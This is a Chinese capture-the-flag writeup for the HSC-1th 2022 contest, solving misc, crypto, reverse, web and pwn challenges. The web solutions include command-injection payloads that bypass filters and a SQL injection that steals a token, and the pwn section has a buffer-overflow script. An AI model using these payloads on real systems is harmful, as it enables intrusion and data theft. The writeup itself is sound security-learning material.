HSC-1th 2022 Writeup
本届HSC1th 2022是由社会战队红客突击队(Honker Security Commando)举办。 本次比赛将采用在线网络安全夺旗挑战赛的形式,涵盖web,crypto,misc,re等主流方向,并面向全球开放。比赛三甲可获突击队周边礼品。
Rank: 2
MISC
Sign-in
前往红客突击队公众号发送“HSC2019”并签到吧!
公众号签到。
flag{HSC_W3LC0M3}
DORAEMON
zip压缩包注释 哆啦A梦把泡好的QR放进口袋后,用六位数字把自己放好了。你能找到它吗?
,爆破得到密码 376852
;
得到png图片用16进制修改器修改高度,得到缺少两个定位图案的二维码;
修复上方两个定位图案,扫描得flag:flag{sing1emak3r10v3m!sc}
汝闻,人言否
png文件后存在zip压缩包,提取后在16进制查看器下修复压缩包,将两处 4B 50
修改为 50 4B
;
发现zip压缩包加密,注释 qazsedcftrfvgycft6yhntgbnytfvbhyik,.;p
为键盘密码,在键盘上画出六个字母 WVALOU
为解压密码,得到 flag
文件,16进制查看发现为wav文件结构;
使用audacity查看wav文件,在频谱图发现flag:flag:e5353bb7b57578bd4da1c898a8e2d767
PERFORMANCE-ART
两种图形替换密码的混合,其中一种为标准银河字母(Standard Galactic Alphabet),猜测另一种代表数字,根据形状和出现概率,猜测出前几位 504B0304140000000
,为zip压缩包文件头。
依次还原所有字符:
504b03041400000008004a7e7253148e1e
1e160000001400000006000000756e6b6e6
f778bcaadc888322ec9f30b752df70c
cfae8cca72b30400504b01021f0014000
00008004a7e7253148e1e1e16000000140
000000600240000000000000020000000000
00000756e6b6e6f770a002000000000000
1001800778284ef50dcd7016b04efef5
0dcd701e1b0ef144fdcd701504b05060
000000001000100580000003a0000000000
保存为zip文件,打开得到内容 ZmxhZ3tnNUEwIWkyZjF9
,base64解码得flag:flag{g5A0!i2f1}
WIRESHARK
zip压缩包后存在png图片,提取后使用zsteg查看LSB隐写,在 b1,rgb,lsb,xy
通道隐写了一张png图片,提取:
zsteg -E "b1,rgb,lsb,xy" Untitled1.png > out.png
是一张二维码,扫描得到内容 wrsak..iehr370
,栅栏解密 wireshark3.7.0
;
解压最开始的zip压缩包得到 wireshark
,16进制查看发现为pdf文件结构,文件头被修改过,还原为 %PDF
(25 50 44 46
)正常打开,内容无有用信息,猜想为PDF隐写;
使用wbStego工具从pdf文件成功提取出flag:flag{Go0dJ0B_y0ufIndLt}
PCXP
百度网盘https://pan.baidu.com/s/12q5ULEp_RD62MwbV5eE11A 提取码:1qih
奶牛快传https://cowtransfer.com/s/b76470ddc9e04a
蓝奏云https://wwo.lanzouy.com/b030r1x4j 密码:cvi0
本题目文件PCXP1与PCXP2均需要下载!
本题文件中flag{raw_Imfig3_mLs3}属于干扰项
两个dump内存的raw文件,用volatility分析。
其中一个发现 ffflaaagggg.rar
文件:
0x000000000227db70 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\Administrator\My Documents\My Music\ffflaaagggg.rar
根据提示,另一个发现 mirror.rar
文件:
0x00000000021221e0 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\Administrator\My Documents\My Music\mirror.rar
分别dumpfiles,按注释key:mirror
解压 mirror.rar
,提取 mirror.png
,发现后半部分有反转的png,reverse处理得到png内有密码 HSC-1th202248H
;
用密码解压 ffflaaagggg.rar
,得到 secret.pcap
,用tshark提取USB流量无结果;
查看16进制发现存在PNG文件头,用foremost提取出两张png图片,画面相同大小不同,猜测为盲水印隐写;
使用BlindWaterMark工具提取:
python3 bwmforpy3.py decode 00000030.png 00000094.png out.png
得到flag:flag{Wat3rMarkPtysc}
CRYPTO
Easy SignIn
5445705857464579517A4A48546A4A455231645457464243566B5579556C7053546C4A4E524564565646644D515670455130354C5755644F5231685256314A5452315A5552304E57576C5A49525430395054303950513D3D
ciphey一把梭,flag:flag{welc0me_to_my_s1gn_in}
AFFINE
flag{md5(result)}
# -*- coding: utf-8 -*- import string import hashlibletter=string.ascii_letters+string.digitsdef encrypt(m, c, a, b):for i in range(len(m)):ch=m[i]t=(letter.index(ch) * a + b) % 62c.append(letter[t])d = ''.join(c)print(d)m = c = [] a = b = assert ("flag" in m)print("加密后的密文为:") Cipher = encrypt(m, c, a, b) flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest() #print(flag) """ 加密后的密文为: xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv """
仿射密码加密,先根据密文和明文,爆破各位置存在 flag
字符串情况下对应的 a,b
值,再解密整串密文。
爆破求 a,b
:
import string
import hashlibletter=string.ascii_letters+string.digitsdef encrypt(m, a, b):c = []for i in range(len(m)):ch=m[i]t=(letter.index(ch) * a + b) % 62c.append(letter[t])d = ''.join(c)return ds='xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv'
for a in range(50):for b in range(50):Cipher = encrypt('flag', a, b)for k in range(len(s)-3):if Cipher==s[k:k+4]:print(Cipher,a,b)
# korv 11 17
解密:
a=11
b=17def decrypt(m, a, b):import gmpy2c = []for i in range(len(m)):ch=m[i]t=((letter.index(ch) - b) * gmpy2.invert(a,62)) % 62c.append(letter[t])d = ''.join(c)return dm=decrypt(s, a, b)
print(m)
flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
print(flag)
# Oh62Affine1sSti1lN0tSecureEnoughToProtectflag
# 2b9b99caae1cc49e5b5aacbc8cc22350
flag:flag{2b9b99caae1cc49e5b5aacbc8cc22350}
LINE-GENERATION-TEST
“Sorry, Tazmi, I can’t hold you in my arms anymore” Who said that? flag{md5(result)}
根据 enc
结果,猜测为 mod26\mod 26mod26 下的矩阵运算,值对应字母序,简单用z3解:
from z3 import *f=[Int(f'f{i}') for i in range(5)]
out=[9,23,0,13,19]ss=Solver()ss.add((f[0]+f[1])%26==out[0])
ss.add((f[1]+f[4])%26==out[1])
ss.add((f[2]+f[3]+f[4])%26==out[2])
ss.add((f[1]+f[2]+f[3])%26==out[3])
ss.add((f[3])%26==out[4])for i in range(5):ss.add(f[i]>=0)ss.add(f[i]<26)ss.check()
m=ss.model()
print(m)
res=''
for i in range(5):res+=chr(m[f[i]].as_long()+ord('A'))print(res)
# RSCTF
MD5,得flag:flag{e4163deba70420c58acb87abcab34141}
LATTICE
#!/usr/bin/env python # -*- coding: utf-8 -*- from Crypto.Util.number import * from gmpy2 import *flag = b'flag{******}'.strip(b'flag{').strip(b'}') _length = len(flag) f1, f2, f3 = [flag[_*_length//3:(_+1)*_length//3] for _ in range(3)]e = 0x10001# part1 m1 = bytes_to_long(f1) p1 = getPrime(1024) q1 = getPrime(1024) n1 = p1 * q1 phi1 = n1 - p1 - q1 + 1 c1 = pow(m1, e, n1) e1 = invert(getPrime(730), phi1) e2 = invert(getPrime(730), phi1) print(f"c1={c1}") print(f"n1={n1}") print(f"e1, e2={e1}, {e2}") # c1=... # n1=... # e1, e2=...# part2 m2 = bytes_to_long(f2) p2 = getPrime(1024) q2 = getPrime(1024) n2 = p2 * q2 phi2 = n2 - p2 - q2 + 1 c2 = pow(m2, e, n2) e1 = invert(getPrime(818), phi2) e2 = invert(getPrime(818), phi2) e3 = invert(getPrime(818), phi2) print(f"c2={c2}") print(f"n2={n2}") print(f"e1, e2, e3={e1}, {e2}, {e3}") # c2=... # n2=... # e1, e2, e3=...# part3 m3 = bytes_to_long(f3) nl = [] cl = [] el = [] d = getPrime(890) for _ in range(7):p3 = getPrime(1024)q3 = getPrime(1024)n3 = p3 * q3phi3 = n3 - p3 - q3 + 1e3 = invert(d, phi3)c3 = pow(m3, e3, n3)nl.append(n3)el.append(int(e3))cl.append(int(c3)) print(f"nl={nl}") print(f"el={el}") print(f"cl={cl}") # nl=[...] # el=[...] # cl=[...]
RSA的两种涉及格的LLL算法的攻击情形(多组低解密指数攻击+共私钥指数攻击)。
Part1,2组 eee 的低解密指数攻击:
# Sage
import gmpy2
N =
e1 =
e2 =
c =
for i in range(1000):alpha2 = i/1000M1 = int(gmpy2.mpz(N)**0.5)M2 = int( gmpy2.mpz(N)**(1+alpha2) )D = diagonal_matrix(ZZ, [N, M1, M2, 1])B = Matrix(ZZ, [ [1, -N, 0, N**2],[0, e1, -e1, -e1*N],[0, 0, e2, -e2*N],[0, 0, 0, e1*e2] ]) * DL = B.LLL()v = Matrix(ZZ, L[0])x = v * B**(-1)phi = (x[0,1]/x[0,0]*e1).floor()try:d = inverse_mod(65537, phi)m = bytes.fromhex(hex(power_mod(c, d, N))[2:])if len(m)<20:print(m)breakexcept:pass
# b'89c63fd5-00c'
Part2,3组 eee 的低解密指数攻击:
# Sage
import gmpy2
N =
e1 =
e2 =
e3 =
c =
for i in range(1000):alpha2 = i/1000M1 = int(gmpy2.mpz(N)**(3./2))M2 = int( gmpy2.mpz(N) )M3 = int(gmpy2.mpz(N)**(3./2 + alpha2))M4 = int( gmpy2.mpz(N)**(0.5) )M5 = int( gmpy2.mpz(N)**(3./2 + alpha2) )M6 = int( gmpy2.mpz(N)**(1.+alpha2) )M7 = int( gmpy2.mpz(N)**(1.+alpha2) )D = diagonal_matrix(ZZ, [M1, M2, M3, M4, M5, M6, M7, 1])B = Matrix(ZZ, [ [1, -N, 0, N**2, 0, 0, 0, -N**3],[0, e1, -e1, -e1*N, -e1, 0, e1*N, e1*N**2],[0, 0, e2, -e2*N, 0, e2*N, 0, e2*N**2],[0, 0, 0, e1*e2, 0, -e1*e2, -e1*e2, -e1*e2*N],[0, 0, 0, 0, e3, -e3*N, -e3*N, e3*N**2],[0, 0, 0, 0, 0, e1*e3, 0, -e1*e3*N],[0, 0, 0, 0, 0, 0, e2*e3, -e2*e3*N],[0, 0, 0, 0, 0, 0, 0, e1*e2*e3] ]) * DL = B.LLL()v = Matrix(ZZ, L[0])x = v * B**(-1)phi_ = (e1*x[0,1]/x[0,0]).floor()try:d = inverse_mod(65537, phi_)m = hex(power_mod(c, d, N))[2:]m = bytes.fromhex(hex(power_mod(c, d, N))[2:])if len(m)<20:print(m)breakexcept:pass
# b'f-4ae0-b369-'
Part3,共私钥指数 ddd 攻击:
from gmpy2 import *
nl=[...]
el=[...]
cl=[...]
ind=[]
nl_s=sorted(nl)
for i in range(7):ind.append(nl.index(nl_s[i]))
print(ind)
e=[]
n=[]
c=[]
for i in range(7):e.append(el[ind[i]])n.append(nl[ind[i]])c.append(cl[ind[i]])M=iroot(int(n[6]),int(2))[0]
a=[0]*8
a[0]=[M,e[0],e[1],e[2],e[3],e[4],e[5],e[6]]
a[1]=[0,-n[0],0,0,0,0,0,0]
a[2]=[0,0,-n[1],0,0,0,0,0]
a[3]=[0,0,0,-n[2],0,0,0,0]
a[4]=[0,0,0,0,-n[3],0,0,0]
a[5]=[0,0,0,0,0,-n[4],0,0]
a[6]=[0,0,0,0,0,0,-n[5],0]
a[7]=[0,0,0,0,0,0,0,-n[6]]Mat = matrix(ZZ,a)
Mat_LLL=Mat.LLL()
d = abs(Mat_LLL[0][0])//M
print(d)
print(bytes.fromhex(hex(pow(c[6],int(d),int(n[6])))[2:]))
# b'5a3d94a20a2c'
连接得flag:flag{89c63fd5-00cf-4ae0-b369-5a3d94a20a2c}
RSA
flag{md5(result)}
import gmpy2 import sympy from Crypto.Util.number import *flag = b'????'z=getPrime(1024) p=sympy.nextprime(z) q=sympy.prevprime(10*z) n=p*qm=bytes_to_long(flag) e=0xe18e c=pow(m,e,n)print("n=",n) print("c=",c)#n= ... #c= ...
费马分解RSA,发现 gcd(e,φ(n))=2\gcd(e,\varphi(n))=2gcd(e,φ(n))=2,令 e′=e2,m′=m2e'=\frac{e}{2},m'=m^2e′=2e,m′=m2,
先求出 m′m'm′,再利用Rabin算法求 mmm。
n =
c =
e = 0xe18e
import gmpy2
p = gmpy2.iroot(n//10,2)[0]
while 1:p = gmpy2.next_prime(p)if n%p==0:break
q = n//p
f = (p-1)*(q-1)
d = gmpy2.invert(e//2,f)
mm = pow(c,d,n)
print(mm)def rabin_decrypt(c, p, q, e=2):n = p * qmp = pow(c, (p + 1) // 4, p)mq = pow(c, (q + 1) // 4, q)yp = gmpy2.invert(p, q)yq = gmpy2.invert(q, p)r = (yp * p * mq + yq * q * mp) % nrr = n - rs = (yp * p * mq - yq * q * mp) % nss = n - sreturn (r, rr, s, ss)m = rabin_decrypt(mm,p,q)
for i in range(4):try:print(bytes.fromhex(hex(m[i])[2:]))except:pass
# b'flag{6d22773623d3d5c871692e9985de5f16}'
BABY-RSA
from Crypto.Util.number import *def lfsr(status,mask):out = (status << 1) & 0xffffffffi=(status&mask)&0xfffffffflastbit=0while i!=0:lastbit^=(i&1)i=i>>1out^=lastbit return (out,lastbit)status= 1 mask = 0b10110001110010011100100010110101num = bytes_to_long(m)p = getPrime(1024) q = getPrime(1024) n = p*q e = 65537hp = bin(p)[2:] c = pow(num, e, n)print("n=",n) print("c=",c)f=open("key","w+",encoding='utf-8') for i in range(568):curnum = int(hp[i])(status,out)=lfsr(status,mask)f.write(str(curnum ^ out)) f.close()''' n= ... c= ... ''' ''' key: 0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010 '''
RSA ppp 高位泄露攻击+LFSR。
先用LFSR结果异或还原 ppp 高位 hphphp:
def lfsr(status,mask):out = (status << 1) & 0xffffffffi=(status&mask)&0xfffffffflastbit=0while i!=0:lastbit^=(i&1)i=i>>1out^=lastbit return (out,lastbit)status= 1
mask = 0b10110001110010011100100010110101c = list('0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010')
c=[int(k) for k in c]hp = ''
for i in range(568):(status,out) = lfsr(status,mask)hp += str(c[i]^out)hp = int(hp, 2)
print(hp)
# 484896331241166236766986322307256381427323829969266475890843705533431739217993785274442520213477613786483789873490025705365184544110819157393140954140256890174240795425112
此时 hphphp 有568位,根据Coppersmith定理,1024位的 ppp 至少需要高576位才能恢复完整 ppp,需爆破8位二进制位:
# Sage
n = 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
hp = 484896331241166236766986322307256381427323829969266475890843705533431739217993785274442520213477613786483789873490025705365184544110819157393140954140256890174240795425112import string
dic = string.digits + "abcdef"for a in dic:for b in dic:pp = hex(hp) + a + b#p需要用0补全到1024位pp += '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'#要加的数字与补全p时0的个数有关pp = int(pp, 16)p_fake = pp+0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000pbits = 1024kbits = pbits-576pbar = p_fake & (2^pbits-2^kbits)#print("upper %d bits (of %d bits) is given" % (pbits-kbits, pbits))PR.<x> = PolynomialRing(Zmod(n))f = x + pbartry:x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.4print(x0 + pbar)except:pass
# 90225006288627020933267024425797647042965554486273674145474629022335483579168020321334177600624475358419458781387021577078957978886555066264514364951229871833611713144617155837023313756741716041993159155093522769416742461683810041045361926334946115547487234272520914249496954864904467634471167509689549908477
最后常规RSA:
p = 90225006288627020933267024425797647042965554486273674145474629022335483579168020321334177600624475358419458781387021577078957978886555066264514364951229871833611713144617155837023313756741716041993159155093522769416742461683810041045361926334946115547487234272520914249496954864904467634471167509689549908477
n = 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
c = 3641304537029815746727163894554557322382012539953948183406308231174259571263608621970973671202001456955622458371303424750815017578104069924877881162707673935496925529412748663209884628320657034190702348924814794263041483260377960569530869386619921425415323912964305979776909598200202236912823968867485696101691879580799000240715778010424877093758489309380968229017074542588151574195295436881889313935734282141447498134543053106463951864974512375314091440713165047188590693431938599822340588934591712592995622334522799914563528630705687647950894928965913199772209825508001274120556508220248069647851360567609656517789
q = n//p
e = 0x10001
import gmpy2
f = (p-1)*(q-1)
d = gmpy2.invert(e,f)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))
# b'flag{fbbce1e3aa690ebb49039241f940ed26}'
WEB
CLICK
查看源码,找到 main.js
,发现 ZmxhZ3thNTNlMTgzOC01OTczLTRlY2MtOWFjMC00ODZlOTA0NThhMTl9Cg==
,base64解码得flag。
Web-sign in
提示robots协议,访问 robots.txt
,发现存在 fiag_ls_h3re.php
,
访问发现右键被禁用,加前缀 view-source:
查看源码得flag。
EXEC
<?php error_reporting(0); if(isset($_REQUEST["cmd"])){$shell = $_REQUEST["cmd"];$shell = str_ireplace(" ","",$shell);$shell = str_ireplace("\n","",$shell);$shell = str_ireplace("\t","",$shell);$shell = str_ireplace("?","",$shell);$shell = str_ireplace("*","",$shell);$shell = str_ireplace("<","",$shell);$shell = str_ireplace("system","",$shell);$shell = str_ireplace("passthru","",$shell);$shell = str_ireplace("ob_start","",$shell);$shell = str_ireplace("getenv","",$shell);$shell = str_ireplace("putenv","",$shell);$shell = str_ireplace("mail","",$shell);$shell = str_ireplace("error_log","",$shell);$shell = str_ireplace("`","",$shell);$shell = str_ireplace("exec","",$shell);$shell = str_ireplace("shell_exec","",$shell);$shell = str_ireplace("echo","",$shell);$shell = str_ireplace("cat","",$shell);$shell = str_ireplace("ls","",$shell);$shell = str_ireplace("nl","",$shell);$shell = str_ireplace("tac","",$shell);$shell = str_ireplace("bash","",$shell);$shell = str_ireplace("sh","",$shell);$shell = str_ireplace("tcp","",$shell);$shell = str_ireplace("base64","",$shell);$shell = str_ireplace("flag","",$shell);$shell = str_ireplace("cp","",$shell);exec($shell); }else{highlight_file(__FILE__); }
带黑名单的无回显RCE,可以重定向写命令执行结果到文件,关键字可双写绕过,空格用$IFS
绕过。
列目录:?cmd=llss$IFS/>1.txt
,得到根目录flag文件名 ctf_is_fun_flag2021
;
读文件:?cmd=uniq$IFS/ctf_is_fun_flflagag2021>1.txt
,得到flag。
Language
源码里有python和go两个文件夹,有两个服务,端口8000是python开的,映射到对外端口;内网端口5000是go服务。python代码相当于中转站接受外网请求,处理后转发给go,go进行底层处理。
go服务中关键代码 backend.go
:
package controllerimport (db "ctf/database""encoding/json""fmt""github.com/buger/jsonparser""io/ioutil""net/http"
)type Language struct {Id int32 `json:"id"`Name string `json:"name"`Votes int64 `json:"votes"`
}func Index(w http.ResponseWriter, _ *http.Request) {ok(w, "Hello World!")
}func List(w http.ResponseWriter, _ *http.Request) {rows, err := db.Sqlite.Query("SELECT * FROM languages;")if err != nil {fail(w, "Something wrong")fmt.Println(err.Error())return}defer rows.Close()res := make([]Language, 0)for rows.Next() {var pl Language_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)res = append(res, pl)}err = json.NewEncoder(w).Encode(res)
}func Search(w http.ResponseWriter, r *http.Request) {reqBody, _ := ioutil.ReadAll(r.Body)votes, err := jsonparser.GetInt(reqBody, "votes")if err != nil {fail(w, "Error reading votes")return}name, err := jsonparser.GetString(reqBody, "name")if err != nil {fail(w, "Error reading name")return}query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)rows, err := db.Sqlite.Query(query)if err != nil {fail(w, "Something wrong")fmt.Println(err.Error())return}res := make([]Language, 0)for rows.Next() {var pl Language_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)res = append(res, pl)}err = json.NewEncoder(w).Encode(res)
}func Flag(w http.ResponseWriter, r *http.Request ) {action:= r.URL.Query().Get("action")if action == "" {fail(w, "Error getting action")return}token:= r.URL.Query().Get("token")if token == "" {fail(w, "Error getting token")return}var secret stringrow := db.Sqlite.QueryRow("SELECT secret FROM token;")if err := row.Scan(&secret); err != nil {fail(w, "Error querying secret token")return}if action == "readFlag" && secret == token {data, err := ioutil.ReadFile("flag")if err != nil {fail(w, "Error reading flag")return}ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))return}ok(w, "Wrong token")
}
路由 /flag
中GET两个参数 ?action=readFlag&token=xxxxx
,token正确得flag,而路由 /search
中容易通过SQL注入拿到token。
python服务中 app.py
:
from flask import Flask, request, render_template, jsonify
from urllib.parse import unquote
import requestsapp = Flask(__name__)server = '127.0.0.1:8000'@app.route("/", methods=["GET"])
def index():return render_template("index.html")@app.route("/list", methods=["POST"])
def listAll():r = requests.post(f"http://{server}/api/list")return jsonify(r.json())@app.route("/search", methods=["GET", "POST"])
def search():if request.method == "GET":return render_template("search.html")else:data = request.jsonif data['name']:if not isinstance(data['name'], str) or not data['name'].isalnum():return jsonify({"error": "Bad word detected"})if data['votes']:if not isinstance(data['votes'], int):return jsonify({"error": "Bad word detected"})r = requests.post(f"http://{server}/api/search", data=request.data)return jsonify(r.json())@app.route("/healthcheck", methods=["GET"])
def healthCheck():getPath = ["", "flag"]postPath = ["api/list", "api/search"]try:for path in getPath:requests.get(f"http://{server}/{path}")for path in postPath:requests.post(f"http://{server}/{path}")except:return "Down"return "OK"@app.route("/<path:path>", methods=["GET"])
def handle(path):if 'flag' in unquote(path):action = request.args.get('action')token = request.args.get('token')print(action)if action == "readFlag":return jsonify({"error": "Sorry, readFlag is not permitted"})r = requests.get(f"http://{server}/{path}", params={"action": action,"token": token})else:r = requests.get(f"http://{server}/{path}")return jsonify(r.text)if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)
发现其中存在两个点需要绕过:
- 路由
/search
中JSON严格过滤,name
的值必须满足isalnum()
,votes
的值必须为数字,避免SQL注入情况; - 检测url里使用GET方法传入
action=readFlag
会直接拒绝。
对于第1点,尝试构造含两个 name
参数的JSON,在python中认JSON中第二个 name
,而go中认JSON中第一个 name
,利用这种差异构造:{"votes":1,"name":"-1' union select 1,secret,3 from token --+","name":[]}
,绕过得到token值,得到 re@l1y_4th_T0k3n
。
对于第2点,利用 @app.route("/<path:path>")
特性,对 ?
进行url编码可以在python层面绕过GET参数识别,即 action = request.args.get('action')
不会获取到内容,payload:/flag%3faction=readFlag&token=re@l1y_4th_T0k3n
。
得到flag:"{\"msg\":\"Congrats this is your flag: flag{73c468d2-582e-4fdf-8be9-72efe6cbb9a2}\\n\"}\n"
REVERSE
hiahia o(*^▽^*)┛
IDA查看伪码,无逆向,照着实现就行:
s=list(b'igdb~Mumu@p&>%;%<$<p')def flag(c,k):if k>9:if k&1==0:return c-11else:return c+13else:if k&1==0:return c-3else:return c+5
t=''
for i in range(len(s)):t+=chr(flag(s[i],i))
print(t)
# flag{RrrrEe33202111}
ANDROID
jadx查看MainActivity主逻辑:
public void onClick(View view) {String trim = this.input.getText().toString().trim();int[] iArr = {102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42};int[] iArr2 = {42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42};if (trim.length() != 18) {this.input.setText("FLAG错误");return;}char[] charArray = trim.toCharArray();for (int i = 0; i < 17; i++) {iArr2[i] = i % 2 == 0 ? charArray[i] ^ i : charArray[i] ^ charArray[i + 1];}String str = "";for (int i2 = 0; i2 < 18; i2++) {str = str.concat(Integer.toHexString(iArr2[i2])).concat(",");}System.out.println(str);for (int i3 = 0; i3 < 18; i3++) {if (iArr2[i3] != iArr[i3]) {this.input.setText("FLAG错误!");return;}}this.input.setText("FLAG正确");
}
用z3解:
from z3 import *flag=[BitVec(f'flag{i}',7) for i in range(18)]
out=[102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42]s=[42]*19
ss=Solver()for i in range(17):if i%2==0:s[i]=flag[i]^ielse:s[i]=flag[i]^flag[i+1]for i in range(18):ss.add(s[i]==out[i])ss.check()
m=ss.model()
res=''
for i in range(17):res+=(chr(m[flag[i]].as_long()))print(res)
# flag{Reverse__APP
加花括号闭合,得到flag:flag{Reverse__APP}
WAY
flag{md5(result)}
检测带upx壳,脱壳后IDA查看伪码,迷宫题,wsad代表上下左右,提取迷宫数组得:
OIIII
OOIO#
IOOOI
IOIOI
IIIII
容易得到路径:sdsddwd,MD5得到flag:flag{6654b3343f6f3f6223a721e7f65e87f8}
SPARK
Sparc架构,IDA无法反编译为伪码,用Ghidra得到伪码主逻辑:
undefined8 main(void){longlong unaff_g7;int local_res7d3;undefined8 local_res7d7;undefined8 local_res7df;undefined8 local_res7e7;undefined8 local_res7ef;longlong local_res7f7;local_res7f7 = *(longlong *)(unaff_g7 + 0x28);local_res7d7 = 0;local_res7df = 0;local_res7e7 = 0x37463f3044413243;local_res7ef = 0x3429000000000000;puts("input_sparkle_flag_here:\n");read(0,&local_res7d7,0xc);local_res7d3 = 0;do {if (9 < local_res7d3) {puts("good_job!");
LAB_001008a0:if (local_res7f7 == *(longlong *)(unaff_g7 + 0x28)) {return 0;}/* WARNING: Subroutine does not return */__stack_chk_fail();}*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) =*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) + -0x2f;if (*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) !=*(char *)((longlong)&local_res7e7 + (longlong)local_res7d3)) {puts("incorrect\n");goto LAB_001008a0;}local_res7d3 = local_res7d3 + 1;} while( true );
}
逻辑为输入flag值逐字符 -0x2f
得到的字符串与 0x37463f30444132433429
相等,即ROT47。
简单还原得flag:flag{fun_sparcX}
PWN
Ez_pwn
简单ret2text:
from pwn import *
r = remote('hsc2019.site',10891)
r.recvline()
pl = 'a'*0x48 + p64(0x400741)
r.sendline(pl)
r.interactive()
HSC-1th 2022 Writeup相关推荐
- t-star腾讯安全高校挑战赛2022 writeup
文章目录 t-star writeup 赛题一 赛题二 赛题三 赛题四 赛题五 赛题六 参考 t-star writeup 赛题一 一个简单的验证码绕过,在包里,抓一下就可以登陆进后台了 在进入后台后 ...
- 祥云杯2022 writeup
0x01 web 1.ezjava 下载源码对jar文件进行反编译,发现POST /myTest会出现反序列化漏洞 util ,最后好像没用到 检查程序,发现apache的common−collect ...
- Hackergame 2022 Writeup(来自一位啥都不会的萌新)
第一次写writeup有不足之处请见谅( 目录 签到 猫咪问答喵 家目录里的秘密 HeiLang Xcaptcha 旅行照片 2.0 线路板 量子藏宝图 企鹅拼盘 签到 众所周知,签到题是一道手速题. ...
- NISACTF 2022 writeup
周末两天的比赛 WEB(11/12).PWN(5/6).Reverse(3/6).Crypto(3/7).Misc(8/12) WEB没有AK还是略有遗憾,到后面实在做不动了. 第一次写这么长的WP- ...
- [Hack The Boo CTF 2022] writeup
一个外国简单比赛,好多人队都答了25题,由于web不会,misc不熟,作了misc3,crypto4,pwn5,rev5不过有的找不到了,慢慢找. misc Wrong Spooky Season 附 ...
- HGAME 2022 Writeup
文章目录 Level - Week1 WEB easy_auth 蛛蛛-嘿嘿?我的蛛蛛 Tetris plus Fujiwara Tofu Shop MISC 欢迎欢迎!热烈欢迎! 这个压缩包有点麻烦 ...
- Arab Security Cyber Wargames 2022 Qualifications corCTF 部分题解
文章目录 ASCWQ 2022 Crypto Rsa In The Wild OSP Misc Weird FS corCTF 2022 Crypto tadpole luckyguess excha ...
- 深度优先搜索广度优先搜索
1 概述 算法是作用于具体的数据结构之上的,深度优先搜索算法和广度优先搜索算法都是基于图这种数据结构的.主要原因是因为图的这种数据结构表达能力很强,大部分涉及搜索的场景都可以抽象成图. 图上的搜索算法 ...
- 【2022 网鼎杯】青龙组 crypto WriteUp
2022 网鼎杯 青龙组 crypto WriteUp crypto091 crypto405 crypto162 文章目录 crypto091 crypto405 crypto162 crypto0 ...
- 【ByteCTF 2022】Crypto Writeup
ByteCTF 2022 密码 Crypto writeup Choose_U_flag Compare Card Shark 文章目录 1. Choose_U_flag 题目分析 初始化参数 加密过 ...
最新文章
- 新颖的自我介绍_简短有创意的自我介绍
- 在Global Object Services (GOS) 中加入自定义项目
- Python中使用pip安装库时提示:远程主机强迫关闭了一个现有的连接
- android 支付宝和微信支付封装,Android支付宝和微信支付集成
- 如何在SAP云平台ABAP编程环境里创建自己的Z表
- c语言整形除法是五舍六入吗,四舍六入五成双 - C/C++论坛 - 51CTO技术论坛_中国领先的IT技术社区...
- 苹果要做第一个吃螃蟹的人!将率先尝试台积电5nm工艺
- 【python】日志模块以及日志组件使用
- 简单的PL/SQl链接远程ORACLE数据库方法
- php版本栈的应用中缀表达式求值
- 【渝粤教育】国家开放大学2018年春季 7406-22T金融统计分析 参考试题
- 直线方程求x坐标c语言,已知两点坐标,求直线方程、距离其中一点距离为L的某点...
- MATLAB中前馈+反馈系统搭建-基于matlab控制系统工具箱
- C++入侵电脑远程控制,体验一把做黑客的感觉!
- 三极管放大电路基本原理
- Armbian安装Docker之后的100种玩儿法《动态域名解析DDNS自动更新》
- android 在线获取音乐歌词lrc文件
